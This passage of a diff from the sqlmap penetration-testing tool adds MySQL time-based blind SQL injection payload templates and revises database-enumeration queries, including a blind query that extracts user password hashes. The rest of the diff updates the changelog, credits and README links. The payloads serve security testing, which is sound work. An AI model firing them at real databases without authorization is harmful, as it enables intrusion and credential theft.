<vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>> 5.0.12</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL < 5.0.12 AND time-based blind (BENCHMARK - comment)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
@@ -230,7 +270,28 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 OR time-based blind (heavy query - comment)</title>
|
<title>MySQL > 5.0.12 AND time-based blind (heavy query - comment)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>2</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
|
||||||
|
<comment>#</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>> 5.0.12</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL < 5.0.12 OR time-based blind (BENCHMARK - comment)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
@@ -250,6 +311,27 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL > 5.0.12 OR time-based blind (heavy query - comment)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
|
||||||
|
<comment>#</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>> 5.0.12</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.0.12 RLIKE time-based blind</title>
|
<title>MySQL >= 5.0.12 RLIKE time-based blind</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
@@ -1500,7 +1582,7 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 time-based blind - Parameter replace (heavy queries)</title>
|
<title>MySQL < 5.0.12 time-based blind - Parameter replace (BENCHMARK)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>4</level>
|
<level>4</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
@@ -1519,6 +1601,26 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL > 5.0.12 time-based blind - Parameter replace (heavy query - comment)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>2</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>> 5.0.12</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL time-based blind - Parameter replace (bool)</title>
|
<title>MySQL time-based blind - Parameter replace (bool)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
@@ -1854,7 +1956,7 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
|
<title>MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (BENCHMARK)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>4</level>
|
<level>4</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
|
|||||||
@@ -127,8 +127,8 @@
|
|||||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||||
</dbs>
|
</dbs>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT schemaname,tablename FROM pg_tables" condition="schemaname"/>
|
<inband query="SELECT schemaname,tablename FROM pg_tables" condition="schemaname" query2="SELECT table_schema,table_name FROM information_schema.tables" condition2="table_schema"/>
|
||||||
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'" query2="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' OFFSET %d LIMIT 1" count2="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
|
<inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
|
||||||
@@ -1209,7 +1209,7 @@
|
|||||||
</users>
|
</users>
|
||||||
<passwords>
|
<passwords>
|
||||||
<inband query="SELECT USER_NAME,PASSWORD FROM SYSTEM_.SYS_USERS_" condition="USER_NAME"/>
|
<inband query="SELECT USER_NAME,PASSWORD FROM SYSTEM_.SYS_USERS_" condition="USER_NAME"/>
|
||||||
<blind query="SELECT PASSWORD FROM SYSTEM_.SYS_USERS_ WHERE USER_NAME='%s'" count="SELECT COUNT(PASSWORD) FROM SYSTEM_.SYS_USERS_ WHERE USER_NAME='%s'"/>
|
<blind query="SELECT PASSWORD FROM SYSTEM_.SYS_USERS_ WHERE USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(PASSWORD) FROM SYSTEM_.SYS_USERS_ WHERE USER_NAME='%s'"/>
|
||||||
</passwords>
|
</passwords>
|
||||||
<privileges>
|
<privileges>
|
||||||
<inband query="SELECT USER_NAME,PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID" condition="USER_NAME"/>
|
<inband query="SELECT USER_NAME,PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID" condition="USER_NAME"/>
|
||||||
|
|||||||
@@ -1,3 +1,8 @@
|
|||||||
|
# Version 1.5 (2021-01-03)
|
||||||
|
|
||||||
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.4...1.5)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/6?closed=1)
|
||||||
|
|
||||||
# Version 1.4 (2020-01-01)
|
# Version 1.4 (2020-01-01)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
|
||||||
@@ -171,7 +176,7 @@
|
|||||||
* Major code cleanup.
|
* Major code cleanup.
|
||||||
* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware.
|
* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware.
|
||||||
* Updated user's manual.
|
* Updated user's manual.
|
||||||
* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from http://sqlmap.org/demo.html.
|
* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from https://sqlmap.org/demo.html.
|
||||||
|
|
||||||
# Version 0.8 release candidate (2009-09-21)
|
# Version 0.8 release candidate (2009-09-21)
|
||||||
|
|
||||||
@@ -343,7 +348,7 @@
|
|||||||
* Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS;
|
* Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS;
|
||||||
* Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`);
|
* Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`);
|
||||||
* Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`);
|
* Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`);
|
||||||
* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation <http://sqlmap.org/dev/>;
|
* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation <https://sqlmap.org/dev/>;
|
||||||
* Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS;
|
* Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS;
|
||||||
* Improved logging functionality: passed from banal 'print' to Python native logging library;
|
* Improved logging functionality: passed from banal 'print' to Python native logging library;
|
||||||
* Added support for more than one parameter in `-p` command line option;
|
* Added support for more than one parameter in `-p` command line option;
|
||||||
|
|||||||
@@ -734,6 +734,9 @@ rmillet, <rmillet42(at)gmail.com>
|
|||||||
Rub3nCT, <rub3nct(at)gmail.com>
|
Rub3nCT, <rub3nct(at)gmail.com>
|
||||||
* for reporting a minor bug
|
* for reporting a minor bug
|
||||||
|
|
||||||
|
sapra, <amanistaken(at)gmail.com>
|
||||||
|
* for helping out with Python multiprocessing library on MacOS
|
||||||
|
|
||||||
shiftzwei, <shiftzwei(at)gmail.com>
|
shiftzwei, <shiftzwei(at)gmail.com>
|
||||||
* for reporting a couple of bugs
|
* for reporting a couple of bugs
|
||||||
|
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ sqlmap e инструмент за тестване и проникване, с
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap работи самостоятелно с [Python](http://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички платформи.
|
sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички платформи.
|
||||||
|
|
||||||
Използване
|
Използване
|
||||||
----
|
----
|
||||||
@@ -39,12 +39,12 @@ sqlmap работи самостоятелно с [Python](http://www.python.org
|
|||||||
Връзки
|
Връзки
|
||||||
----
|
----
|
||||||
|
|
||||||
* Начална страница: http://sqlmap.org
|
* Начална страница: https://sqlmap.org
|
||||||
* Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* RSS емисия: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* RSS емисия: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues
|
* Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Упътване: https://github.com/sqlmapproject/sqlmap/wiki
|
* Упътване: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ Vorzugsweise kannst du sqlmap herunterladen, indem du das [GIT](https://github.c
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap funktioniert sofort mit den [Python](http://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform.
|
sqlmap funktioniert sofort mit den [Python](https://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform.
|
||||||
|
|
||||||
Benutzung
|
Benutzung
|
||||||
---
|
---
|
||||||
@@ -38,12 +38,12 @@ Ein Probelauf ist [hier](https://asciinema.org/a/46601) zu finden. Um einen Übe
|
|||||||
Links
|
Links
|
||||||
---
|
---
|
||||||
|
|
||||||
* Webseite: http://sqlmap.org
|
* Webseite: https://sqlmap.org
|
||||||
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues
|
* Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki
|
* Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Demonstrationen: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https:/
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap funciona con las siguientes versiones de [Python](http://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma.
|
sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma.
|
||||||
|
|
||||||
Uso
|
Uso
|
||||||
---
|
---
|
||||||
@@ -38,12 +38,12 @@ Para obtener una visión general de las capacidades de sqlmap, así como un list
|
|||||||
Enlaces
|
Enlaces
|
||||||
---
|
---
|
||||||
|
|
||||||
* Página principal: http://sqlmap.org
|
* Página principal: https://sqlmap.org
|
||||||
* Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues
|
* Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki
|
* Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Demostraciones: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -73,12 +73,12 @@
|
|||||||
----
|
----
|
||||||
|
|
||||||
|
|
||||||
* خانه: http://sqlmap.org
|
* خانه: https://sqlmap.org
|
||||||
* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
|
* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
|
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* تویتر: [@sqlmap](https://twitter.com/sqlmap)
|
* تویتر: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* عکسها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* عکسها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](http://www.python.org/download/)
|
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](https://www.python.org/download/)
|
||||||
|
|
||||||
Utilisation
|
Utilisation
|
||||||
----
|
----
|
||||||
@@ -38,12 +38,12 @@ Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnali
|
|||||||
Liens
|
Liens
|
||||||
----
|
----
|
||||||
|
|
||||||
* Page d'acceuil: http://sqlmap.org
|
* Page d'acceuil: https://sqlmap.org
|
||||||
* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues
|
* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
|
* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Démonstrations: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -20,7 +20,7 @@
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα.
|
Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα.
|
||||||
|
|
||||||
Χρήση
|
Χρήση
|
||||||
----
|
----
|
||||||
@@ -39,12 +39,12 @@
|
|||||||
Σύνδεσμοι
|
Σύνδεσμοι
|
||||||
----
|
----
|
||||||
|
|
||||||
* Αρχική σελίδα: http://sqlmap.org
|
* Αρχική σελίδα: https://sqlmap.org
|
||||||
* Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues
|
* Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki
|
* Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sql
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap radi bez posebnih zahtjeva korištenjem [Python](http://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
|
sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
|
||||||
|
|
||||||
Korištenje
|
Korištenje
|
||||||
----
|
----
|
||||||
@@ -39,12 +39,12 @@ Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te op
|
|||||||
Poveznice
|
Poveznice
|
||||||
----
|
----
|
||||||
|
|
||||||
* Početna stranica: http://sqlmap.org
|
* Početna stranica: https://sqlmap.org
|
||||||
* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
|
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
|
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
